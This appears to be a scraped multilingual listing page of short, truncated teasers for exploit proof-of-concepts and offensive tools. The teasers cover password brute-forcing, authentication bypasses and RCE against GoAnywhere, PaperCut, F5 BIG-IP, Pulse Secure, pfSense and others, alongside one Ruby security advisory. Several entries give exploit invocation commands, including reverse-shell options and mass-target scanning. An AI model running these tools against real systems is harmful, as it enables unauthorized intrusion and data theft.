BruteLoops

BruteLoops Uma biblioteca extremamente simples fornecendo a lógica fundamental para ataques eficientes de força bruta de senhas contra interfaces de autenticação. Documentação A documentação pode ser encontrada aqui. Se você está procurando os antigos módulos de exemplo... Veja BFG. Os exemplos...

RLSA-2026:50778 Important: ruby security, bug fix, and enhancement update

Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks. Security Fixes: zlib: zlib: Memory corruption via buffer overflow in Zlib::GzipReader CVE-2026-27820 net-imap: Net::IMAP: Arbitrary IMAP command...

CVE-2024-0204

CVE-2024-0204: GoAnywhere MFT में प्रमाणीकरण बाइपास GoAnywhere MFT में नया व्यवस्थापक उपयोगकर्ता बनाने की स्क्रिप्ट। ब्लॉग पोस्ट अधिक विवरण यहाँ: https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive उपयोग पासवर्ड GoAnywhere MFT की जटिलता आवश्यकताओं को पूरा...

CVE-2023-38646

Poc-Metabase-Preauth-CVE-2023-38646 कैसे उपयोग करें? root@kitploit: λ cve git clone https://github.com/LazyySec/CVE-2023-38646.git λ cve cd Poc-Metabase-Preauth-CVE-2023-38646 λ Poc-Metabase-Preauth-CVE-2023-38646 git:main go build CVE-2023-38646-Exploit.go λ Poc-Metabase-Preauth-CVE-2023-38646...

CVE-2023-27350

PaperCut NG/MG RCE CVE-2023-27350 CVE-2023-27350 के लिए एक सरल बैश एक्सप्लॉइट। यह स्क्रिप्ट प्रमाणीकरण बाइपास, वातावरण तैयारी, और PaperCut प्रिंटर स्क्रिप्टिंग इंजन के माध्यम से कमांड इंजेक्शन को स्वचालित करता है। दृश्य प्रमाण बुनियादी RCE: रिवर्स शेल ट्रिगर करना: त्वरित आरंभ root@kitploit: Clone...

CVE-2024-10245

CVE-2024-10245 Relais 2FA = 1.0 - Обход аутентификации Описание Плагин Relais 2FA для WordPress подвержен обходу аутентификации в версиях до 1.0 включительно. Это связано с некорректной проверкой аутентификации и прав доступа в функции 'rldoajax'. Это позволяет неаутентифицированным злоумышленник...

CVE-2022-27925

CVE-2022-27925 Description Le 10 mai 2022, Zimbra a publié les versions 9.0.0 patch 24 et 8.8.15 patch 31 pour corriger plusieurs vulnérabilités dans Zimbra Collaboration Suite, notamment CVE-2022-27924 dont nous avons parlé précédemment et CVE-2022-27925. Initialement, Zimbra a qualifié...

CVE-2022-1388

CVE-2022-1388 Vulnérabilité RCE non authentifiée F5 BIG-IP Vulnérabilité RCE de contournement d'authentification F5 BIG-IP iControl REST fofa keywords: title="BIG-IP- Redirect" utilisation attaque root@kitploit: $ python3 cve-2022-1388.py -t https://203.xxx.xxx.xxx + https://203.xxx.xxx.xxx is...

CVE-2022-20607

CVE-2022-20607 Dans le firmware cellulaire Pixel, une écriture hors limites est possible en raison d'une vérification des limites manquante. Cela pourrait conduire à une exécution de code à distance nécessitant une authentification LTE. L'interaction de l'utilisateur n'est pas nécessaire pour...

CVE-2014-4688

CVE-2014-4688 root@kitploit: python3 pfsense.py --rhost 10.10.10.60 --lhost 10.10.14.2 --lport 9999 --username rohit --password pfsense...

ZeroPair

ZeroPair जीरो ऑथेंटिकेशन ब्लूटूथ एक्सप्लॉइट "प्रिंट चुराओ, सिस्टम पर कब्ज़ा करो" root@kitploit: ███████╗███████╗██████╗ ██████╗ ╚══███╔╝██╔════╝██╔══██╗██╔═══██╗ ███╔╝ █████╗ ██████╔╝██║ ██║ ███╔╝ ██╔══╝ ██╔══██╗██║ ██║ ███████╗███████╗██║ ██║╚██████╔╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ██████╗ ████...

DarkReplica

DarkReplica CVE-2026-23631 Redis 认证后远程代码执行漏洞利用 完整的技术分析文章可在此处找到：https://www.zeroday.cloud/blog/redis-cve-2026-23631-dark-replica...

CVE-2023-32315-Openfire-Bypass

CVE-2023-32315 0x01 Récupérer le JSESSIONID et le csrftoken retournés, construire une requête pour ajouter un utilisateur remplacer JSESSIONID, csrftoken root@kitploit: cd CVE-2023-32315-Openfire-Bypass/scanall go mod tidy go run main.go -u http://openfire.com:9090 0x02 Compilation et installatio...

CVE-2025-55182

React2Shell PoC यह रिपॉजिटरी एक न्यूनतम जानबूझकर कमजोर वातावरण प्रदान करती है, जो React सर्वर घटकों और Next.js को प्रभावित करने वाली हालिया क्रिटिकल RCE भेद्यता React2Shell के विरुद्ध सुरक्षा स्कैनर्स का परीक्षण करने के लिए है। CVE-2025-55182 : React Server Components संस्करण 19.0.0, 19.1.0, 19.1...

CVE-2019-11510

CVE-2019-11510 पल्स सिक्योर SSL VPN पर आर्बिट्ररी फ़ाइल रीड के लिए एक्सप्लॉइट CVE-2019-11510 आप एक एकल डोमेन या डोमेन की सूची का उपयोग कर सकते हैं। डोमेन के सामने https:// शामिल करना अनिवार्य है। Usage : cat targetlist.txt | bash CVE-2019-11510.sh / bash CVE-2019-11510.sh -d https://vpn.target.co...

CVE-2021-26084

CVE-2021-26084 Atlassian Confluence Pre-Auth RCE...

CVE-2025-2825

CVE-2025-2825 - CrushFTP वेबइंटरफ़ेस प्रमाणीकरण बायपास CVE-2025-2825 PoC यह स्क्रिप्ट निम्नलिखित संस्करणों में CrushFTP प्रमाणीकरण बायपास भेद्यता का शोषण करती है: 10.0.0 10.8.3 11.0.0 11.3.0 यह कैसे काम करता है CrushFTP के AWS S3-शैली प्रमाणीकरण को निम्नलिखित का उपयोग करके बायपास किया जा सकता है:...

CVE-2026-49049

Investigación de la vulnerabilidad CVE-2026-49049: Unauthenticated Arbitrary File Write en JoomShaper Helix3 Joomla El repositorio contiene materiales, análisis técnico y Proof of Concept PoC para la vulnerabilidad crítica CVE-2026-49049 , encontrada en el framework de plantillas heredado Helix3 ...

CVE-2018-10933

अवधारणा प्रमाण CTF चुनौती सिलास स्प्रिंगर द्वारा CVE-2018-10933 पर आधारित पृष्ठभूमि CVE-2018-10933 एक कमजोरी है जो libSSH के चुनिंदा संस्करणों में खोजी गई है, जो संभावित रूप से असीमित मशीन एक्सेस की अनुमति दे सकती है। यह कमजोरी प्रमाणीकरण प्रक्रिया के दौरान पैकेट हेडर्स के अनुचित हैंडलिंग से...

CVE-2026-8181

CVE-2026-8181 - Burst Statistics प्रमाणीकरण बाइपास CVSS 9.8 गंभीर — प्रमाणीकरण बाइपास से व्यवस्थापक खाता अधिग्रहण विवरण CVE-2026-8181 Burst Statistics प्लगइन के संस्करण 3.4.0 से 3.4.1.1 में प्रमाणीकरण बाइपास Authentication Bypass भेद्यता है। यह प्लगइन 200,000+ WordPress साइटों द्वारा Google...